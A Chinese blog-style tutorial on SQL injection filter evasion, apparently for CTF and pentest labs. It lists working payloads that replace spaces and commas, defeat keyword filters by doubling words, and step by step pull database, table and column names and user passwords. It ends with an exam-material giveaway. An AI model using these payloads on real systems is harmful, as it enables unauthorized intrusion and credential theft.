SQL注入中空格与逗号过滤的绕过技巧总结
大家好,今天想和大家分享一些实用的技巧,专门针对渗透测试或CTF比赛中可能遇到的特殊字符过滤问题。这篇文章主要讲解当遇到空格和逗号过滤时,如何巧妙地进行绕过,让我们的SQL注入成功执行。
一、空格过滤绕过技巧
当目标网站或靶场环境中过滤了空格字符后,我们可以使用以下几种方式来绕过限制:
- 使用
+
号替代空格:例如,union+select+1,2,3
。 - URL编码替代:
%20
(空格)、%09
(水平制表符HT)、%0A
(换行符LF)、%0C
(换页符FF)、%0D
(回车CR)、%0B
(垂直制表符VT)、%A0
(不间断空格NBS)。 - 使用SQL注释符
/**/
替代空格,如:union/**/select
。 - 括号
()
替代空格:select(database())
。 - 使用报错注入技巧绕过限制。
实战案例
以%A0
为例(此方法适用于Linux环境):
?id=-1'%A0union%A0select%A01,database(),3%A0anandd%A0'1'='1
再举一个利用报错注入的案例:
?id=1'||extractvalue(1,concat('^',(database())))||'1'='1
其中,extractvalue()
函数配合concat()
可引发报错,帮助我们绕过字符过滤并获取数据。尤其注意到在过滤了or
的情况下,我们还可以通过对关键字进行复写(如将information_schema
改为infoorrmation_schema
)来绕过过滤。
二、逗号过滤绕过技巧
当逗号被过滤掉时,我们可使用join
关键字进行绕过,巧妙利用SQL的表连接特性完成查询。
常规逗号查询方式
select u.*,e.* from users u, emails e where u.id=e.id;
-
•
u.*
与e.*
表示:u
表中的所有的列和e
表中所有的列 -
•
users u
和emails e
表示:users
表的别名为u
表;emails
表的别名为e
表 -
•
u.id=e.id
表示:两张表相同的字段进行关联
使用join内联进行绕过
select u.*,e.* from users u join emails e on u.id=e.id;
-
•
u.*
与e.*
表示:u
表中的所有的列和e
表中所有的列 -
•
users u
和emails e
表示:users
表的别名为u
表;emails
表的别名为e
表 -
•
join users on emails
表示:将users
表和emails
表进行内联,on
用于条件限定
实战案例
原本的逗号查询:
select * from users where id = 1 union select 1,2,3;
用join
代替后的语句为:
select * from users where id = 1
union
select * from (select 1)a join(select 2)b join(select 3)c;
具体含义:
(select 1)a
:别名为a(select 2)b
:别名为b,使用join连接a(select 3)c
:别名为c,同理连接
实操演示
当靶场环境明确过滤逗号时,可如此绕过:
查询当前数据库名:
?id=-1' union select * from (select 1)a join(select database())b join(select 3)c --+
查询表名(注意绕过过滤的关键字复写技巧):
?id=-1' union select * from (select 1)a
join(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=(select database()))b
join(select 3)c --+
查询列名:
?id=-1' union select * from (select 1)a
join(select group_concat(column_name) from infoorrmation_schema.columns where table_schema=(select database()) anandd table_name = 'users')b
join(select 3)c --+
查询用户信息(用户名与密码):
# 查询用户名
?id=-1' union select * from (select 1)a
join(select group_concat(username) from users)b
join(select 3)c --+
# 查询密码
?id=-1' union select * from (select 1)a
join(select group_concat(passwoorrd) from users)b
join(select 3)c --+
三、小结
以上技巧的掌握,在日常渗透测试以及CTF挑战中都会大有帮助。希望大家通过这篇文章对空格与逗号的过滤绕过技巧有更深入的理解和实践。感谢阅读!
免费备考资料分享(红帽、甲骨文、华为)
为了帮助更多考生高效备考,我根据自己的学习经验,整理了以下几个核心备考资料:
-
考试大纲:
覆盖HCIE笔试和实验考试的所有重点知识,帮助你精准掌握考试范围,避免盲目学习。 -
培训教材:
详细的理论知识和案例分析,核心技术的深入解析,是夯实基础的不二之选。 -
实验手册:
实验考试配置命令速查手册和模拟实验案例集,涵盖关键场景,助你在实验环节高效应对。
获取方式:
如果你需要这些备考资料,可以在评论区留言或者私信我,我会将资料打包发给你,希望对你的备考有所帮助!